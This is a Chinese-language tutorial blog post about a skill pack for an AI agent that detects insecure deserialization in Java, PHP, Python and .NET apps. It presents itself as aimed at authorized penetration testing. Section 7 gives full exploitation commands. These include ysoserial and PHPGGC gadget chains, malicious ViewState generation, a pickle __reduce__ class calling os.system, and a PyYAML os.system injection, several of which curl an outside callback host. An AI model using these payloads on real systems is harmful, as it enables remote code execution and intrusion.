Anthropic-Cybersecurity-Skills 实战:构建 Java / PHP / Python / .NET 不安全反序列化检测 Agent
2026/9/13 8:48:54 网站建设 项目流程

Anthropic-Cybersecurity-Skills 实战:构建 Java / PHP / Python / .NET 不安全反序列化检测 Agent

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

导读

本文围绕仓库中exploiting-insecure-deserialization技能包展开,它以 api-reference.md 为 API 契约、以 SKILL.md 为攻击流程指南、以 agent.py 为可运行实现,构成一套面向 AI Agent 的"不安全反序列化检测"完整方案。读完本文,你将掌握:如何用一条 CLI 命令自动扫描 HTTP 流量中的序列化特征(Java、.NET ViewState、PHP、Python pickle),如何生成 URLDNS /__reduce__等带外(OOB)探测载荷,以及如何配合 ysoserial、PHPGGC、ysoserial.net 完成授权的反序列化 RCE 验证并输出标准化报告。

一、技能包定位:Agent 可执行的 Web 安全检测单元

在 SKILL.md 的元数据中,该技能被定义为domain: cybersecuritysubdomain: web-application-security,关键标签包括deserializationrceowaspysoserial,并明确限定其使用场景为"授权渗透测试中对 Java、PHP、Python、.NET 应用的不安全反序列化进行识别与利用"。

它在框架映射上也相当完整:

框架映射项说明
MITRE ATT&CKT1190(利用面向公众的应用)、T1059.007(JavaScript/命令执行)、T1505.003(Web Shell)、T1083(文件与目录发现)攻击链覆盖"入口利用 → 代码执行 → 持久化"
NIST CSF 2.0PR.PS-01、ID.RA-01、PR.DS-10、DE.CM-01覆盖保护、识别、数据安全、检测四大能力
OWASPA08:2025 Software and Data Integrity Failures仓库在 mappings/owasp/README.md 中将数据完整性失败明确归类为反序列化等完整性校验缺失场景

整个技能包的文件结构非常简洁,遵循SKILL.md + references + scripts的 Agent 技能标准:

skills/exploiting-insecure-deserialization/ ├── SKILL.md # 使用时机、前置条件、六步攻击工作流、输出模板 ├── references/ │ └── api-reference.md # 检测 Agent 的 API 契约(依赖、CLI、函数、输出 Schema) ├── scripts/ │ └── agent.py # 检测 Agent 的可运行实现(约 180 行) └── LICENSE # Apache-2.0

二、检测 Agent 依赖与运行环境

根据 api-reference.md,检测 Agent 的依赖极轻,只需两块:

版本要求用途
requests>=2.28发起 HTTP 请求,扫描响应 Cookie 与响应体
picklePython 标准库生成 pickle 探测载荷,验证 Python 反序列化

在 agent.py 中可以看到,requests是唯一的外部依赖,导入失败时会直接提示pip install requestspickle则在test_python_pickle函数内部按需导入。这意味着该 Agent 可以在最小化的 Python 3 环境中直接运行,非常适合嵌入 CI/CD、SOAR 剧本或作为 Agent 的一次性检测工具。

三、CLI 用法:一条命令完成整站扫描

检测 Agent 的入口是scripts/agent.py,其标准调用方式如下:

python scripts/agent.py --url https://target.example.com/dashboard \ --callback oob.attacker.com --output deser_report.json

对应源码中 main() 的参数定义,三个参数的含义与默认值分别为:

参数必填默认值说明
--url目标 URL,Agent 将对其发起 GET 请求并扫描返回的 Cookie 与响应体
--callback空字符串带外回调主机(如 interactsh / Collaborator 域名),用于反序列化探测的 DNS/HTTP 回调确认
--outputdeserialization_report.jsonJSON 报告输出路径

执行后,Agent 会:

  1. 调用run_assessment(url, callback_host)编排完整扫描;
  2. 将报告写入--output指定的 JSON 文件;
  3. 同时在终端以json.dumps(report, indent=2)打印可读报告。

四、核心函数族:从识别到探测的完整链路

4.1detect_serialization_format(data) -> str:格式识别器

该函数是整套检测能力的"眼",输入一个字符串,输出java_serializedjava_gzipped_serializeddotnet_viewstatephp_serializedjava_serialized_base64python_pickle之一,无法识别时返回None

从 agent.py 的 detect_serialization_format 的实现看,识别优先级依次为:

  • rO0AB开头 → Java Base64 序列化;
  • H4sIAAAAAAAA开头 → Gzip 压缩后的 Java 序列化(对应 SKILL.md 中提到的 Gzip+Base64 特征);
  • /wE开头 → .NET ViewState;
  • 匹配[OaCsid]:\d+:正则 → PHP 序列化(对象O:、数组a:、字符串s:等标记);
  • 对值的前 16 字节做 Base64 解码,解码后以\xac\xed\x00\x05JAVA_MAGIC)开头 → Base64 包裹的 Java 二进制流;首字节为\x80→ Python pickle(协议版本字节)。

4.2scan_cookies(url, session) -> list:Cookie 扫描

使用requests.Session对目标 URL 发起 GET 请求,遍历响应中的每个 Cookie,用detect_serialization_format逐一判定其 value,命中则记录locationnameformatvalue_preview(前 60 字符)与domain。源码中通过logger.warning输出告警,便于在扫描日志中快速定位。这是检测"Session Cookie 存序列化对象"这一最常见场景的核心手段。

4.3scan_response_body(url, method, data) -> list:响应体扫描

支持指定 HTTP 方法与 JSON 请求体,对响应文本做三类正则匹配(见 scan_response_body):

  • rO0AB[A-Za-z0-9+/=]{10,}→ 内嵌的 Java Base64 序列化对象;
  • [OaCsid]:\d+:→ PHP 序列化对象/数组标记;
  • __VIEWSTATE[^"]*"([^"]+)"→ ASP.NET 表单中的 ViewState 隐藏字段。

每个命中都会记录locationresponse_bodyviewstate_field)、formatvalue_preview

4.4 三类主动探测函数

函数原理对应源码位置
test_java_deserialization(url, cookie_name, callback_host)构造 URLDNS 风格探针:将 Java 魔数\xac\xed\x00\x05与回调域名拼入 Cookie 值,若服务端对 Cookie 反序列化,会触发对http://<callback_host>/java-deser-test的 DNS 解析,从而在 OOB 侧收到回调test_java_deserialization
test_php_deserialization(url, param_name)依次发送三个 PHP 序列化载荷:O:4:"User":...role=admin对象注入、a:1:{s:4:"role";s:5:"admin";}数组注入、b:1;布尔标记,观察响应状态码与内容长度的差异test_php_deserialization
test_python_pickle(url, param_name, callback_host)定义__reduce__返回(os.system, (f"nslookup {callback_host}",))的 Probe 类,序列化并 Base64 后 POST 到目标,若目标对参数反序列化即触发nslookup带外回调test_python_pickle

值得强调的是,Agent 内置的主动探测载荷全部选择无 RCE 副作用的检测型载荷(DNS 回调、角色注入、nslookup),与 SKILL.md 中"URLDNS Gadget 用于安全检测"的定位一致,适合在授权范围内先做无破坏性确认,再进入利用阶段。

4.5run_assessment(url, callback_host) -> dict:总编排器

将 Cookie 扫描与响应体扫描结果聚合,输出targetserialized_data_found(总命中数)、cookie_findingsresponse_body_findings以及去重后的formats_detected列表(见 run_assessment)。

五、序列化特征速查表:流量中的"指纹"

api-reference.md 给出的序列化标记表是人工排查流量时最常用的速查依据,与detect_serialization_format的实现一一对应:

格式魔数 / 前缀示例
Java 二进制\xac\xed\x00\x05原始字节
Java Base64rO0ABBase64 编码后
Java Gzip+Base64H4sIAAAAAAAAgzip 压缩后再编码(见 SKILL.md)
.NET ViewState/wE__VIEWSTATE隐藏字段
PHPO:4:a:2:对象 / 数组记法
Python pickle\x80(协议字节)Base64 编码后

排查时建议优先检查以下位置:会话 Cookie、隐藏表单字段(__VIEWSTATE__EVENTVALIDATION)、API 请求/响应体、WebSocket 消息、消息队列载荷(JMS、RabbitMQ、Redis)、缓存条目(Memcached、Redis)。

六、输出 Schema:机器可读的统一报告

Agent 输出遵循 api-reference.md 定义的 JSON Schema:

{ "target": "https://target.example.com/", "serialized_data_found": 2, "cookie_findings": [{"name": "session", "format": "java_serialized"}], "formats_detected": ["java_serialized"] }

该 Schema 由 run_assessment 直接产出(字段名为cookie_findingsresponse_body_findingsformats_detected),结构化的输出使 Agent 可以轻松将结果投递给下一环节——例如拼接到 SKILL.md 提供的"Finding 模板"中生成最终漏洞报告。

七、从"检出"到"利用":SKILL.md 六步工作流

检测 Agent 解决的是"找出反序列化入口",而 SKILL.md 给出了从检出到确认 RCE 的完整利用工作流,两者配合才是完整闭环:

Step 1 识别流量中的序列化数据

用上文特征表在 Burp 代理历史中搜索rO0AB等特征,或直接对疑似值解码验证:

echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | head

Step 2 Java:ysoserial 生成载荷

以 URLDNS 作无副作用探测,以 CommonsCollections / Spring / Hibernate 等 gadget chain 验证 RCE:

# 最安全的探测载荷(仅 DNS 回调) java -jar ysoserial.jar URLDNS "http://java-deser.abc123.oast.fun" | base64 -w0 # 常用 RCE gadget chain java -jar ysoserial.jar CommonsCollections5 "whoami" | base64 -w0 java -jar ysoserial.jar Spring1 "curl http://abc123.oast.fun/spring" | base64 -w0 # 注入 Cookie 发送 PAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 "curl http://abc123.oast.fun/confirm" | base64 -w0) curl -s -X POST -b "session=$PAYLOAD" "https://target.example.com/dashboard"

Step 3 PHP:PHPGGC 生成 gadget chain

针对 Laravel、Symfony、WordPress(Guzzle)、Monolog 等框架:

./phpggc -l # 列出可用链 ./phpggc Laravel/RCE1 system "id" -b # Laravel RCE ./phpggc Symfony/RCE4 exec "curl http://abc123.oast.fun/php-rce" -b ./phpggc Guzzle/RCE1 system "id" -b # WordPress 场景

SKILL.md 还提示了两种 PHP 对象注入变形:修改序列化串中的role字段实现越权(s:4:"user"s:5:"admin"),以及用类型混淆(s:4:"role"i:1)绕过部分校验。

Step 4 .NET:ysoserial.net 与 ViewState

先确认目标是否启用 ViewState MAC;未启用或已知 machine key 时,可构造恶意 ViewState:

./ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \ -c "curl http://abc123.oast.fun/dotnet-rce" -o base64 ./ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "whoami" -o base64

同时留意Content-Type: application/octet-stream/application/x-msbin的 BinaryFormatter API 端点与.rem远程调用端点。

Step 5 Python:pickle 与 PyYAML

__reduce__构造 RCE 载荷(与 Agent 的test_python_pickle同型但更激进),并覆盖 YAML 反序列化向量:

import pickle, base64, os class Exploit: def __reduce__(self): return (os.system, ('curl http://abc123.oast.fun/pickle-rce',)) payload = base64.b64encode(pickle.dumps(Exploit())).decode() print(f"Pickle payload: {payload}")
# PyYAML 反序列化 curl -s -X POST -H "Content-Type: application/x-yaml" \ -d "!!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']" \ "https://target.example.com/api/config"

Step 6 确认利用与记录影响

通过 OOB 回调(DNS/HTTP)、时间盲测(sleep 10类载荷对比响应耗时)、命令输出外带($(whoami))三重手段确认 RCE,并定位存在漏洞的库版本(如 commons-collections 3.x / 4.0、spring-core、hibernate-core、groovy),最终套用 SKILL.md 自带的"Finding 模板"输出规范报告:

**Vulnerability**: Insecure Deserialization - Remote Code Execution **Severity**: Critical (CVSS 9.8) **OWASP Category**: A08:2021 - Software and Data Integrity Failures

模板还要求给出复现步骤、受影响库(如commons-collections 3.2.1,对应 CVE-2015-7501)、确认影响范围与修复建议(改用 JSON/Protobuf、升级库、启用 JEP 290 反序列化过滤器、类白名单、HMAC 完整性校验)。

八、典型攻击场景速览

SKILL.md 归纳了四个高频场景,与 Agent 的函数能力一一对应:

场景载体利用方式
Java Session Cookie RCErO0AB前缀 Cookieysoserial + CommonsCollections
PHP Laravel Unserialize隐藏表单字段PHPGGC Laravel RCE 链
.NET ViewState 无 MAC__VIEWSTATE字段ysoserial.net 恶意 ViewState
Python Pickle 缓存投毒Redis 等缓存恶意 pickle 载荷注入缓存,反序列化时触发

九、使用边界与合规前提

需要明确两点约束,这也是将本技能包用于生产环境的前提:

  1. 授权要求:SKILL.md 的 Prerequisites 第一条即"包含 RCE 测试范围的书面渗透测试协议",且 agent.py 源码首行注释明确"仅限实验室 / CTF 环境的授权测试"。本技能包定位是授权测试工具,绝非无边界攻击工具。
  2. 检测优先:Agent 内置载荷均为无副作用的探测型载荷(DNS 回调 /nslookup/ 角色注入),而 RCE 载荷(ysoserial gadget chain、PHPGGC 链、pickle 系统命令)需要分析师在授权范围内审慎手动生成。

十、小结

exploiting-insecure-deserialization技能包为 AI Agent 提供了"格式识别 → 入口定位 → 载荷探测 → 报告输出"的完整能力链:api-reference.md定义了轻量且机器可读的 Agent 接口,agent.py以约 180 行代码给出了可落地的实现(格式识别、Cookie/响应体扫描、三类 OOB 探测),SKILL.md则补齐了 ysoserial / PHPGGC / ysoserial.net 的实战利用方法论与标准化报告模板。对希望把反序列化检测自动化、Agent 化的团队而言,这是一个结构清晰、可直接嵌入检测流水线的参考实现。

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询